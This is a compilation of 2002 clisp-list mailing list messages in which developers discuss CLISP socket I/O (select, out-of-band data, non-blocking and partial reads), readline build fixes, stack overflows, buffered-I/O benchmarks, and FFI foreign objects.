-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations
-DUNICODE -DDYNAMIC_FFI
-DNO_SIGSEGV -I. ../ -c gdi.c
                                ^
***************************
make[1]: Leaving directory `/cygdrive/d/clisp-2.30/cygwin-gdi/gdi'




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Hello Dave,

Sunday, September 29, 2002, 2:35:14 AM, you wrote:

>> >>       - an interface to select()
>>
>> > SOCKET-STATUS

> I have two concerns with SOCKET-STATUS as written:

>         - SOCKET-STATUS does not allow one to select() on exceptional (what CLISP
> calls error) conditions.
>         - SOCKET-STATUS retries upon reception of EINTR.

> Errors in the sense of ECONNRESET, ETIMEDOUT, etc. select() true for read
> (not exceptional conditions).  Exceptional conditions in TCP, for example,
> is used to signal the existence of urgent (out-of-band) data.
Do you want OOB data handling ? My familiarity with OOB was ended up with
this (MSDN)

"To minimize interoperability problems, applications writers are advised not
to use OOB data unless this is required to interoperate with an
existing service."

If you want to know if recv or send operation will succeed you can use
select and filter some situations, but there can be no guarantee that
such operation will succeed. I think only way is to use handler-case
or something like it. Do you want to avoid handler-case ?

> a loss of temporal continuity exists.
please!

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Hello Sam,

Sunday, September 29, 2002, 10:11:17 AM, you wrote:

>>       - SOCKET-STATUS retries upon reception of EINTR.
>> Time passage events are orthoginal, for the most part, but do impact how we
>> handle select() EINTRs.  Time passage can be handled in one of two ways: (1)
>> polling, or (2) via signals.  Either way, this impacts how we handle EINTR
>> in select().  My current C code uses polling.  The last set of gprof data I
>> collected showed me in gettimeofday() 3% of the time!  My goal/desire would
>> be to use an interval timer in the next version.

> I am not sure I understand this.
> would you prefer CLISP to signal an error on EINTR?
> C-c does interrupt SOCKET-STATUS already, right?
I think Dave wants SOCKET-STATUS never wait longer than directed by
time parameter.

I don't know about UNIX, in windows WSAEINTR in select
means WSACancelBlockingCall was called on socket.



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> Do you want OOB data handling ? My familiarity with OOB was ended up with
> this (MSDN)

The TELNET protocol defines a sequence called "synch" which does use urgent
data.  My server is a TELNET server.  So, yes, I need OOB to handle "synch"
correctly (on input).  I never generate a "synch" back to the client.

> "To minimize interoperability problems, applications writers are
> advised not
> to use OOB data unless this is required to interoperate with an
> existing service."

It is.  However, I intend to use the (:so-oobinline t) socket option, so the
OOB data will be delivered "in-band".

> If you want to know if recv or send operation will succeed you can use
> select and filter some situations, but there can be no guarantee that
> such operation will succeed. I think only way is to use handler-case
> or something like it. Do you want to avoid handler-case ?

My hope was that I'd mark the socket non-blocking and do partial
reads/writes.  I have not started reading the I/O functions yet.  I think
Sam has successfully demonstrated that socket-status ought to meet my needs
for select().  Sadly, I have to do time-differencing, but it works in the
current server, so...  And besides, if that's the only down-side to porting
to CLISP, it's hardly worth mentioning.

	Thanks!

	Dave




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> "final solution" is a nasty word combination.
>
> > 	- an interface to select()
>
> SOCKET-STATUS

Yes.

> > 	- non-blocking sockets
>
> I can add FIONREAD, FIONWRITE & FIONBIO to SOCKET-OPTIONS.
> Would it help?

FIONREAD "doubles" the round-trips through the kernel.  The first time
through you determine how much to read, the second time you actually acquire
the data.  It's an expensive way to do I/O.

I am not aware of an FIONWRITE.

FIONBIO is really what is needed.  In modern days we typically use
O_NONBLOCK.  This is an fcntl, not a socket option, btw.

>
> > 	- interfaces to partial read()/write()
>
> partial read is available for buffered streams, I think.
> I an add partial write too.

I have been working through stream.d and unixaux.d today.  I have not yet
found code anywhere that handles partial reads or writes in either buffered
or unbuffered streams.  Where should I be looking?

	Dave




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> * In message <AOENJKDECJBPGIGJDAALEEDDCBAA.dave@synergy.org>
> * On the subject of "RE: [clisp-list] TCP-based Network Server in CLISP"
> * Sent on Sun, 29 Sep 2002 11:58:29 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> > > 	- non-blocking sockets
> >
> > I can add FIONREAD, FIONWRITE & FIONBIO to SOCKET-OPTIONS.
> > Would it help?
> 
> FIONBIO is really what is needed.  In modern days we typically use
> O_NONBLOCK.

Arseny said that FIONBIO will break other things.
What about O_NONBLOCK?

> This is an fcntl, not a socket option, btw.

I know.

> > > 	- interfaces to partial read()/write()
> >
> > partial read is available for buffered streams, I think.
> > I an add partial write too.
> 
> I have been working through stream.d and unixaux.d today.  I have not
> yet found code anywhere that handles partial reads or writes in either
> buffered or unbuffered streams.  Where should I be looking?

unixaux.d has read_helper() which serves full_read and safe_read.

IIUC, the net result is that when read() does not real all the data
requested, an error is raised (this is with buffered streams).

I can do the same thing for write.

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> * In message <AOENJKDECJBPGIGJDAALEEDACBAA.dave@synergy.org>
> * On the subject of "RE: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2"
> * Sent on Sat, 28 Sep 2002 18:11:41 -0700
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> I find no reference to already_prompted nor gnu_readline_p at all,
> either with or without the rl_ prefix.  I grepped all files in
> /usr/include/readline just to be sure.

I think your readline is too old for us to use.
sorry.

please apply the appended patch and reconfigure.
you should successfully build without readline (the deficiency should be
detected and your readline should be ignored.)

only after that you will need to upgrade your readline (if you wish
CLISP to use it).

BTW, what does "rpm -q readline" says?

thanks!

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Index: src/configure
===================================================================
RCS file: /cvsroot/clisp/clisp/src/configure,v
retrieving revision 1.68
diff -u -w -b -r1.68 configure
--- src/configure	20 Sep 2002 13:29:52 -0000	1.68
+++ src/configure	29 Sep 2002 21:31:53 -0000
@@ -21687,6 +21687,7 @@
 
 
 
+if test $ac_cv_search_tgetent != no ; then
 
 
     use_additional=yes
@@ -22063,7 +22064,6 @@
     done
   fi
 
-if test $ac_cv_search_tgetent != no ; then
 
 for ac_header in readline/readline.h
 do
@@ -22178,6 +22178,52 @@
 
 done
 
+  echo "$as_me:$LINENO: checking for rl_already_prompted" >&5
+echo $ECHO_N "checking for rl_already_prompted... $ECHO_C" >&6
+  cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+#include "confdefs.h"
+
+#include <stdio.h>
+#include <readline/readline.h>
+
+#ifdef F77_DUMMY_MAIN
+#  ifdef __cplusplus
+     extern "C"
+#  endif
+   int F77_DUMMY_MAIN() { return 1; }
+#endif
+int
+main ()
+{
+rl_already_prompted = 1;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
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+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
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+fi
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> only after that you will need to upgrade your readline (if you wish
> CLISP to use it).
Which means it's better to stay on 2.29. :)  I guess I am going to have to
get serious about upgrading my system.  Bah!

> BTW, what does "rpm -q readline" says?
% rpm -q readline
readline-2.2.1-6




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> * In message <AOENJKDECJBPGIGJDAALKEDECBAA.dave@synergy.org>
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> > only after that you will need to upgrade your readline (if you wish
> > CLISP to use it).
> Which means it's better to stay on 2.29. :)

nope.

> I guess I am going to have to
> get serious about upgrading my system.  Bah!

just install readline-4.3 from the sources.
but first make sure that the cvs clisp does not use your old readline.
then you can configure clisp with
./configure --with-readline=/usr/local/src/readline-4.3 ...
(or something like that, try ./src/configure --help for details)

> > BTW, what does "rpm -q readline" says?
> % rpm -q readline
> readline-2.2.1-6

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*** - Lisp stack overflow. RESET

How can one increase the stack size?

Is the limits-stack function related to this?

How should it be used?

Where is  there anymore documentation about  clisp implementation than
the meager file:///usr/share/doc/packages/clisp/impnotes.html ?


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Hi,

> > Using READ-CHAR-NO-HANG for i/o instead of sequence/array 
>functions is 
> > going to keep your program a _toy prototype_ with extremely poor 
>I think this conclusion is unjustified.  What do you consider to be
>extremely poor performance?  Do you have any useful data?

E.g. 3KB/sec or less instead of 300KB/sec, IIRC - see C) below

A) Reading articles on high-performance (e.g. HP-Apache) suggest the use of buffering at all levels.

B) Past experience with hard disk strongly suggest the use of buffering. The typical UNIX OS will read/write in chunks of 4 or 8 KB, which is fine. It's also my experimental lower limit below which disk i/o performance will seriously degrade.

It's not trivial to measure this at application level, since the OS will buffer disks no matter what you do there.

C) Old experience with CLISP's inspector strongly suggested buffering.
I used line-buffered output IIRC. The effect I observed without it was the following: CLISP would output one (or a few) character of HTML. The OS would then dispatch the browser, which would read these few chars, display a little bit or discover that it needs more, the OS then would switch back to CLISP. etc. etc. That was unusably slow: IIRC more than two seconds to finish displaying the output!

Moving the inspector from WRITE-CHAR to (line?) buffered output made the CLISP inspector + browser usable.

With sockets and without buffering, your application is indeed free to degrade i/o performance, unlike disk i/o.


>- How much slower is it to read one char at a time?
Orders of magnitude in my chosen examples. There were also a couple of qualitative threads on the topics of buffering and READ-CHAR vs READ-SEQUENCE in comp.lang.lisp during the last years.

>I expect you can get a large factor if you only compare something like
>cpu usage for a single read that returns, say, 1K bytes to 1K tests
Exactly.
>and reads on single bytes.  However I don't think that reflects the
>true cost of most services.
I'd say: Thank the frameworks which surround the services, not the service.

> If your
>server works well in that environment I think it deserves credit for
>that regardless of how it might fare in some other environment.

My experience is: the environment deserves credit for managing to make badly written applications/servers still perform at viable performance.

The servers ought to do buffering before throwing their stuff out. Remember one of the HP-Apache papers.

With sockets, it's IMHO the application's job to deal with buffering. Setting the TCP options "favour_throuput" or "favour_responsiveness" (name/sp?) is not enough for that.
The read() and write() the application does have a direct impact on how packets go to the fibre, and are controlled by the application, while MTU etc. are global values.

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Hello Wsj,

Monday, September 30, 2002, 12:39:50 PM, you wrote:

>>I can suppose that statement that cause problem is
>>  var int result = read(handle,&b,1); # try to read a byte
>>in stream.d [4549] and XP throws an error when there is twobyte
>>character in buffer. Is there any specialists in the field ?
>   2. Could you insert another result=read(handle,&c,1);  when result <0, where c's size is two bytes ?
It's all not so simple.
You may help with following - please send me a _binary_ file (mail
program shouldn't think it's a text file, so don't name it *.txt)
with a word or two in CP950 which cause problem. I'll play with it.
I don't promise anything although.

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> * In message <20020930105157.5958C8D4DF@thalassa.informatimago.com>
> * On the subject of "[clisp-list] Lisp stack overflow. What to do?"
> * Sent on Mon, 30 Sep 2002 12:51:57 +0200 (CEST)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
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> *** - Lisp stack overflow. RESET
> 
> How can one increase the stack size?

read the manual for your stack (e.g., 'ulimit -s unlimited')
do not use infinite recursion.

> Where is there anymore documentation about clisp implementation than

<http://clisp.cons.org>
CLISP sources doc/*
CLISP sources unix/*
etc

> the meager file:///usr/share/doc/packages/clisp/impnotes.html ?

you gotta be kidding. 1 MB of docs is "meager"?

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Hoehle, Joerg-Cyril writes:
 > Hi,
 > 
 > > > Using READ-CHAR-NO-HANG for i/o instead of sequence/array 
 > >functions is 
 > > > going to keep your program a _toy prototype_ with extremely poor 
 > >I think this conclusion is unjustified.  What do you consider to be
 > >extremely poor performance?  Do you have any useful data?
 > 
 > E.g. 3KB/sec or less instead of 300KB/sec, IIRC - see C) below
Ok, here's my experiment on a 200MHz PC:

 (compile (defun f (file n) (with-open-file (s file)
  (setf (stream-element-type s) '(unsigned-byte 8))
  (loop for i below n do 
  (if (ext:READ-BYTE-WILL-HANG-P s) (return :hang)(read-byte s))))))

This is pretty much how my servers read.  I assume the cost of
read-byte and read-byte-will-hang-p is not greatly different for
socket streams than for files.  Files are just a lot more convenient
to test than sockets.

 [5]> (time (f "/tmp/25MB" 10000))

 Real time: 0.019146 sec.
 Run time: 0.01 sec.
 Space: 4584 Bytes
 NIL
 [6]> (time (f "/tmp/25MB" 100000))

 Real time: 0.239794 sec.
 Run time: 0.23 sec.
 Space: 4584 Bytes
 NIL
 [7]> (time (f "/tmp/25MB" 1000000))

 Real time: 2.016425 sec.
 Run time: 2.0 sec.
 Space: 4584 Bytes
 NIL
 [8]> 

 > A) Reading articles on high-performance (e.g. HP-Apache) suggest
   the use of buffering at all levels. 
I guess I am buffering at every level - I put the bytes I read into an
array for further lisp processing.  Similarly I generally have an
array of bytes waiting for output and do the output in an analogous way.
Clearly at the lower level IO is still linear.  Your argument is just
that copying n bytes in memory has a much lower constant factor than
doing n calls to read-byte and read-byte-will-hang-p.  I grant that.
But these calls are not very expensive compared to the other
processing required per character.

 > > If your
 > >server works well in that environment I think it deserves credit for
 > >that regardless of how it might fare in some other environment.
 > 
 > My experience is: the environment deserves credit for managing to
   make badly written applications/servers still perform at viable
   performance. 
And my view is that an application is not badly written in that case.

I agree that more control over lower levels is a good thing.  I just
don't agree that any application written as above is necessarily a
"toy".  To me that means not suitable for "real" work.  For instance,
I consider a mail server to be doing "real" work.  For the last year
(or two, I forget) ALL of my mail has been received by just such a
server.


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Don [Cohen?] writes:
>  I assume the cost of
>read-byte and read-byte-will-hang-p is not greatly different for
>socket streams than for files.

IMHO that's a very wrong assumption. E.g., CLISP will automatically create a #<BUFFERED STREAM> for regular files. This means that already at the application level, read/write() calling behaviour will be different for both.

Then, at OS level, vastly different things happen for sockets, pipes and files.

>  Files are just a lot more convenient to test than sockets.
> [7]> (time (f "/tmp/25MB" 1000000))
> Real time: 2.016425 sec.
> Run time: 2.0 sec.
> Space: 4584 Bytes
That is ~ 500KB/sec if I understood your code well. I believe you can achieve more with CLISP on that hardware - by working on larger entities than characters.

How would that compare to n reads of 1KB or 10KB arrays on your machine? But with buffered streams, doing that would be benchmarking CLISP's bytecode interpreter, not OS i/o speed.

Regards,
	Jorg Hohle.


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> From: Sam Steingold <sds@gnu.org>
> Date: 30 Sep 2002 09:36:49 -0400
> 
> > * In message <20020930105157.5958C8D4DF@thalassa.informatimago.com>
> > * On the subject of "[clisp-list] Lisp stack overflow. What to do?"
> > * Sent on Mon, 30 Sep 2002 12:51:57 +0200 (CEST)
> > * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
> >
> > *** - Lisp stack overflow. RESET
> > 
> > How can one increase the stack size?
> 
> read the manual for your stack (e.g., 'ulimit -s unlimited')
> do not use infinite recursion.

I already have it unlimited:

[pascal@thalassa tmp]$ ulimit -s
unlimited

and  I don't  use infinite  recursion. If  I can  count the  number of
recursions on my hand (in binary), it's definitely not infinite.

In addition, it says:
[20]> (posix:resource-usage-limits)
#S(USAGE :USER-TIME 0.09d0 :SYSTEM-TIME 0.01d0 :MAX-RSS 0 :INT-RSS 0 :MINOR-PAGE-FAULTS 538 :MAJOR-PAGE-FAULTS 506 :NUM-SWAPS 0
   :BLOCKS-INPUT 0 :BLOCKS-OUTPUT 0 :MESSAGES-SENT 0 :MESSAGES-RECEIVED 0 :SIGNALS 0 :CONTEXT-SWITCHES-VOLUNTARY 0
   :CONTEXT-SWITCHES-INVOLUNTARY 0) ;
#S(USAGE :USER-TIME 0.0d0 :SYSTEM-TIME 0.0d0 :MAX-RSS 0 :INT-RSS 0 :MINOR-PAGE-FAULTS 0 :MAJOR-PAGE-FAULTS 0 :NUM-SWAPS 0 :BLOCKS-INPUT 0
   :BLOCKS-OUTPUT 0 :MESSAGES-SENT 0 :MESSAGES-RECEIVED 0 :SIGNALS 0 :CONTEXT-SWITCHES-VOLUNTARY 0 :CONTEXT-SWITCHES-INVOLUNTARY 0) ;
#S(LIMITS :CORE 0:NIL :CPU NIL:NIL :HEAP NIL:NIL :FILE-SIZE NIL:NIL :NUM-FILES 1024:1024 :STACK NIL:NIL :VIRT-MEM NIL :RSS NIL:NIL
   :MEMLOCK NIL:NIL)


Clearly, it's a problem with clisp, not with unix.

With emacs, I set
        (let ((max-lisp-eval-depth 10000)
              (max-specpdl-size 10000))
              ...)
and it's working.


> > Where is there anymore documentation about clisp implementation than
> 
> <http://clisp.cons.org>
> CLISP sources doc/*
> CLISP sources unix/*
> etc

Ok, "Use  the source,  Luke!". But the  problem with sources,  is that
they can change.   The documentation can specify an  inmutable API and
its contract, the sources can't.

> > the meager file:///usr/share/doc/packages/clisp/impnotes.html ?
> 
> you gotta be kidding. 1 MB of docs is "meager"?

No  kidding.  Where is  the doc  of LIMITS-STACK,  and of  hundreds of
other functions not specified in CLHS?

No kidding.   Even for the  functions that are documented,  it's quite
imprecise.   For   example  you  can't  know  from   the  doc  whether
ext:run-program runs it  asynchronously or not. You only  know that it
"runs an  external program", and you  have to spend time  to write and
test a small program to know  it. It doesn't even specify the defaults
for :input and  :output when they're not given.   Compare with the doc
of emacs  shell-command which gives 10% more  information, and precise
the  asynchronous  or  synchronous  processing, and  the  input/output
coding systems in addition to the equivalent arguments.



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> * In message <20020930153029.C136995923@thalassa.informatimago.com>
> * On the subject of "Re: [clisp-list] Lisp stack overflow. What to do?"
> * Sent on Mon, 30 Sep 2002 17:30:29 +0200 (CEST)
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> > From: Sam Steingold <sds@gnu.org>
> > Date: 30 Sep 2002 09:36:49 -0400
> > 
> > > *** - Lisp stack overflow. RESET
> > > 
> > > How can one increase the stack size?
> > 
> > read the manual for your stack (e.g., 'ulimit -s unlimited')
> > do not use infinite recursion.
> 
> I already have it unlimited:
> 
> [pascal@thalassa tmp]$ ulimit -s
> unlimited

do you print circular objects?
if yes, you should set *print-circle* to T.

you can also explore `-m' option.

> > > the meager file:///usr/share/doc/packages/clisp/impnotes.html ?
> > 
> > you gotta be kidding. 1 MB of docs is "meager"?
> 
>  Where is  the doc  of LIMITS-STACK,  and of  hundreds of
> other functions not specified in CLHS?

what is LIMITS-STACK?

> No kidding.

we always welcome patches and specific bug reports.  please pitch in.

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Hoehle, Joerg-Cyril writes:
 > Don [Cohen?] writes:
 > >  I assume the cost of
 > >read-byte and read-byte-will-hang-p is not greatly different for
 > >socket streams than for files.
 > 
 > IMHO that's a very wrong assumption. E.g., CLISP will automatically
   create a #<BUFFERED STREAM> for regular files. This means that already
   at the application level, read/write() calling behaviour will be
   different for both. 
Isn't it the same thing for tcp streams?
In this case the OS already has a buffered stream so perhaps clisp
doesn't need to do any more.
 > Then, at OS level, vastly different things happen for sockets,
   pipes and files. 
Ok, but we're really only concerned here with what happens in lisp.
If the OS reads files 10 times as fast as tcp streams then I can read
fewer bytes/sec from a tcp stream, but this example at least shows
that clisp is not spending more than 2usec to do both a
read-byte-will-hang-p and a read-byte.

 > >  Files are just a lot more convenient to test than sockets.
 > > [7]> (time (f "/tmp/25MB" 1000000))
 > > Real time: 2.016425 sec.
 > > Run time: 2.0 sec.
 > > Space: 4584 Bytes
 > That is ~ 500KB/sec if I understood your code well. I believe you
   can achieve more with CLISP on that hardware - by working on larger
   entities than characters. 

 > How would that compare to n reads of 1KB or 10KB arrays on your

data below

   machine? But with buffered streams, doing that would be benchmarking
   CLISP's bytecode interpreter, not OS i/o speed. 
OS IO speed is not the issue here, cause that's buffered in any case.
The difference is whether you do a large IO operation in lisp that
may read or write many bytes "at once" but also might block, or
whether you test for each byte in order to avoid blocking.

 [5]> (compile (defun f (file n &aux (m 0))
  (with-open-file (s file)
  (loop while (> n 0) do (decf n (length (read-line s))) (incf m)) m)))
 F ;
 NIL ;
 NIL
 [6]> (time (f "~/clocc/mail-log" 100000))

 Real time: 0.058673 sec.
 Run time: 0.06 sec.
 Space: 222336 Bytes
 1905
 [7]> (time (f "~/clocc/mail-log" 1000000))

 Real time: 0.646889 sec.
 Run time: 0.63 sec.
 Space: 2192024 Bytes
 GC: 4, GC time: 0.03 sec.
 20076
So for this file the average read-line is about 50 chars and I read
chars a little over 3 times as fast as before.  (I assume that chars
vs bytes don't make a big difference here.)



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Subject: [clisp-list] FFI - Creating c-places in LISP?
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I have decided to take a different approach to implementing my TCP-based
server.  Rather than use the socket server/stream classes, I am going to try
accessing the socket calls directly.  This is how CMUCL handles the problem
and my early tests on CMUCL have been quite favorable.  Which leads to my
question:

	Is it possible in the FFI to define a c-struct (def-c-struct) then create
an instance of it in LISP, initialize it, then pass a pointer to it via FFI?
I guess what I am asking is whether it's possible to allocate a c-place
inside the LISP heap.
	My reading of the implementation notes imply that "c-places" originate
outside the LISP heap, i.e. have static storage class.  One could infer that
C code could malloc() a region and return this, but how then do we ensure
free() is called at GC finalization?

	Dave




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> I have decided to take a different approach to implementing my TCP-based
> server.  Rather than use the socket server/stream classes, I am 
> going to try
> accessing the socket calls directly.  This is how CMUCL handles 
> the problem
> and my early tests on CMUCL have been quite favorable.  Which leads to my
> question:
> 
> 	Is it possible in the FFI to define a c-struct 
> (def-c-struct) then create
> an instance of it in LISP, initialize it, then pass a pointer to 
> it via FFI?
> I guess what I am asking is whether it's possible to allocate a c-place
> inside the LISP heap.
> 	My reading of the implementation notes imply that 
> "c-places" originate
> outside the LISP heap, i.e. have static storage class.  One could 
> infer that
> C code could malloc() a region and return this, but how then do we ensure
> free() is called at GC finalization?

Ah!  WITH-FOREIGN-OBJECT.  That'll do it.



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Dave Richards wrote:
>> outside the LISP heap, i.e. have static storage class.  One could=20
>> infer that
>> C code could malloc() a region and return this, but how then=20
>do we ensure
>> free() is called at GC finalization?

>Ah!  WITH-FOREIGN-OBJECT.  That'll do it.

Please report your experience here. You might be the first one to use =
this newly added code of mine.

Especially interesting is whether stack-allocated C space is really =
enough for applications. malloc/free and GC finalization have many =
pitfalls. But let's only talk about those if you are not satisfied with =
stack allocations.

Regards,
	J=F6rg H=F6hle.


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> > 	Is it possible in the FFI to define a c-struct 
> > (def-c-struct) then create
> > an instance of it in LISP, initialize it, then pass a pointer to 
> > it via FFI?
> > I guess what I am asking is whether it's possible to allocate a c-place
> > inside the LISP heap.
> > 	My reading of the implementation notes imply that 
> > "c-places" originate
> > outside the LISP heap, i.e. have static storage class.  One could 
> > infer that
> > C code could malloc() a region and return this, but how then do 
> we ensure
> > free() is called at GC finalization?
> 
> Ah!  WITH-FOREIGN-OBJECT.  That'll do it.

Hmm.  It's in the document, but not in FFI:.

	[14]> (apropos "foreign-object")


	[15]> 

Is there another methof for declaring c-places in LISP?



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Hi,

here's a summary of Don' and my recent experiments.

My summary is: thanks to the Linux environment (thank not the application) for making non-buffered application-level i/o work not so much worse than buffered one.[2]
The ratio is incredibly worse with MS-Windows2k.

Dan observed speed up by factor 7 on local files - I presume on Linux.
I hereby report speedups by factor 1600 for sockets on MS-W2k.

Please read below the incredible numbers measured on my MS-W2k system.

Reading 1_000_000 bytes from a larger file (~3MB),
CLISP TIME reported real time/run time for one run:

from source:    local file      Samba/NFS server
READ-SEQUENCE   0.23/0.04       1.23/0.04
buffered        0.78/0.75       2.19/0.72
unbuff'ed       161/132 secs    1866/173 seconds!![1]

[1] CPU use was visually low during that time. I.e., CLISP was constantly waiting.

I.e. the network can showel >875KB/sec, but you better use buffering. CLISP's 8KB buffering less than halves the performance of the presumably fastest solution via READ-SEQUENCE from the NFS server, which I find acceptable - YMMV. Smaller units could be tested to see where the performance seriously degrades.

Unbuffered i/o is so slow that anybody on MS-w2k is going
1) to scream for buffering
2) to hate applications which don't do it.

[2] Maybe the difference has nothing to do with Linux vs MS-W2k but only with configuration settings, i.e. MTU, grouping small packets, urgent vs. high throughput TCP bit or whatever.


BTW, from Don's data:
> Real time: 0.015744 sec.
> Run time: 0.0 sec.
> Space: 0 Bytes
>  414834 chars left to go.  -- infinite [speed]

I learned not to rely on "system" time for end-to-end measurements on Sun UNIX machines years ago. Some applications were dead slow, while they took comparatively little system time. Using system time to benchmark would have been meaningless.
IIRC, CMUCL's GC would swap on our Suns, yet that did not count as system time. GC and swap time should count IMHO.
I consider inclusion of real-time to measure "round-trip" of the whole access - presuming a lightly loaded machine. 

Wall clock (or real time) is what counts.

I also learned to prefer slow CPU for testing, where timing for small runs would not be below measurability level.

But with todays machines, it's hard to avoid looping in simple tests in order to get large enough times. But this gives inaccurate numbers, as all kinds of caching occurs.

> Real time: 0.116746 sec.
> Run time: 0.12 sec.
That's a time warp, isn't it? :-) How can system time be smaller than real clock time? Does your machine have two processors? - I expect not.
We should not believe in two many digits precision...

Regards,
	Jorg Hohle.

(compile (defun f (file n) (with-open-file (s file)
  (setf (stream-element-type s) '(unsigned-byte 8))
  (loop for i below n do 
  (read-byte s)))))

(compile (defun g (file n) (with-open-file (s file :buffered nil)
  (setf (stream-element-type s) '(unsigned-byte 8))
  (loop for i below n do 
  (read-byte s)))))

(defun h (file n) (with-open-file (s file :buffered nil :element-type '(unsigned-byte 8))
  (read-sequence (make-array n :element-type '(unsigned-byte 8)) s)))


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Dave Richards wrote:
>So with-foreign-object is a post 2.29 feature?

I don't know. I don't have CVS. I don't know how CVS relates to =
releases.

Using CVSview
http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/src/foreign.d=

I can see that the C code is there, as of revison 1.40/41, resp. 1.22 =
of foreign1.lisp.

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> >Ah!  WITH-FOREIGN-OBJECT.  That'll do it.
>
> Please report your experience here. You might be the first one to
> use this newly added code of mine.
>
> Especially interesting is whether stack-allocated C space is
> really enough for applications. malloc/free and GC finalization
> have many pitfalls. But let's only talk about those if you are
> not satisfied with stack allocations.

Will do.  However, I can anticipate one problem already.

I have an abstraction I call the network queue layer.  It implements a byte
queue:

(defclass nqueue ()
  ((size   :accessor nq-size
           :initarg  :size)
   (length :accessor nq-length
           :initform 0)
   (rptr   :accessor nq-rptr
           :initform 0)
   (wptr   :accessor nq-wptr
           :initform 0)
   (data   :accessor nq-data)))

followed by tons of routines to manipulate the queue.

; data is allocated in initialize-instance as:
; (make-array (nq-size nq) :element-type '(unsigned-byte 8))

My desire is to be able to call send() and recv() on the data part of
(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index).
Lacking this, I am going to have to declare a c-type, then inside a
with-foreign-object construct I am going to have to stage the data between
my nqueue's data vector and the c-var.  This effectively is a user-space to
user-space copy followed by a user-space to kernel-space (for send(), and
the reverse for recv()).

I realize providing such a c-pointer is scary, even inside a with-
construct, but have you considered it?

	Dave




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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Hi,
> 
> here's a summary of Don' and my recent experiments.
> 
> My summary is: thanks to the Linux environment (thank not the
> application) for making non-buffered application-level i/o work not
> so much worse than buffered one.[2]

> The ratio is incredibly worse with MS-Windows2k.
> 
> Dan observed speed up by factor 7 on local files - I presume on Linux.
> I hereby report speedups by factor 1600 for sockets on MS-W2k.
> 
> Please read below the incredible numbers measured on my MS-W2k system.
> 
> Reading 1_000_000 bytes from a larger file (~3MB),
> CLISP TIME reported real time/run time for one run:
> 
> from source:    local file      Samba/NFS server
> READ-SEQUENCE   0.23/0.04       1.23/0.04
> buffered        0.78/0.75       2.19/0.72
> unbuff'ed       161/132 secs    1866/173 seconds!![1]

I suspect this has little to do with Windows, per se, and more to do
with the way clisp does I/O on Windows.  If you look at
DoInterruptible in win32aux.d, you'll notice that clisp creates (and
destroys) a thread every time through DoInterruptible.  Combine that
with an unbuffered stream and the result is that clisp creates and
destroys an OS thread for every character read.  I'm not sure if that
would account for all of the difference, but it seems like a very good
place to start...


Todd


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Dave Richards wrote:

>; data is allocated in initialize-instance as:
>; (make-array (nq-size nq) :element-type '(unsigned-byte 8))
>
>My desire is to be able to call send() and recv() on the data part of
>(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index).

I don't understand why you need C for this.

Suppose you had READ-SOME-BYTES
 (or READ-SOME-SEQUENCE
  or READ-PARTIAL-SEQUENCE
  or READ-SEQUENCE-PARTIAL), you'd call

(READ-SOME-SEQUENCE sequence socket) ;? &optional start end

and stay in Lisp. no C.

READ-SOME-SEQUENCE is defined as a function which does a single OS =
read() resp. recv() into the supplied sequence and returns the number =
of bytes/characters/elements read.

I didn't decide yet whether it would be allowed to return 0 except at =
EOF. I.e., this could well be blocking. The reason is that information =
whether it would return immediately or not - if that is of interest to =
the application - comes from another source: select(). Therefore a LOOP =
of just READ-SOME-SEQUENCE until filled up is guaranteed both not to =
poll and to eat data as soon as possible.

Similarly for WRITE-SOME-SEQUENCE. Same open issue for returning 0. The =
pragmatics is: get me what I can get in one sweep, but don't poll.

The pair is trivial to write using the existing CLISP code base: don't =
loop until the array is filled up. Just nobody did/does it for years, I =
wonder why.

Regards,
	J=F6rg H=F6hle.


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> * On the subject of "[clisp-list] FFI - Creating c-places in LISP? -> READ-SOME-SEQUEN CE"
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> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Dave Richards wrote:
> 
> >; data is allocated in initialize-instance as:
> >; (make-array (nq-size nq) :element-type '(unsigned-byte 8))
> >
> >My desire is to be able to call send() and recv() on the data part of
> >(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index).
> 
> I don't understand why you need C for this.
> 
> Suppose you had READ-SOME-BYTES
>  (or READ-SOME-SEQUENCE
>   or READ-PARTIAL-SEQUENCE
>   or READ-SEQUENCE-PARTIAL), you'd call
> 
> (READ-SOME-SEQUENCE sequence socket) ;? &optional start end
> 
> and stay in Lisp. no C.
> 
> READ-SOME-SEQUENCE is defined as a function which does a single OS
> read() resp. recv() into the supplied sequence and returns the number
> of bytes/characters/elements read.

Note that we already have READ-BYTE-SEQUENCE and READ-CHAR-SEQUENCE (in
addition to READ-SEQUENCE).  In addition to READ-SEQUENCE-ONCE, you
will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE
(and make them generic functions too - see gray.lisp)

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> >; data is allocated in initialize-instance as:
> >; (make-array (nq-size nq) :element-type '(unsigned-byte 8))
> >
> >My desire is to be able to call send() and recv() on the data part of
> >(nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index).
>
> I don't understand why you need C for this.

It's quite simple.  I don't want/need the incomvenience, assumptions and
baggage of socket streams.  I already have a reasonably high-performance,
single-threaded, multi-user implementation.  Each socket must be
non-blocking.  No loops in read or write can exist.  I need to manipulate
socket options both at the SOL_SOCKET and IPPROTO_TCP level.  This
application knows a lot more about how it wants to do I/O than CLISP's
stream abstraction.  It does intellifent buffering, both on input and
output.

I have my code running in CMUCL now.  I prefer CLISP to CMUCL, but at least
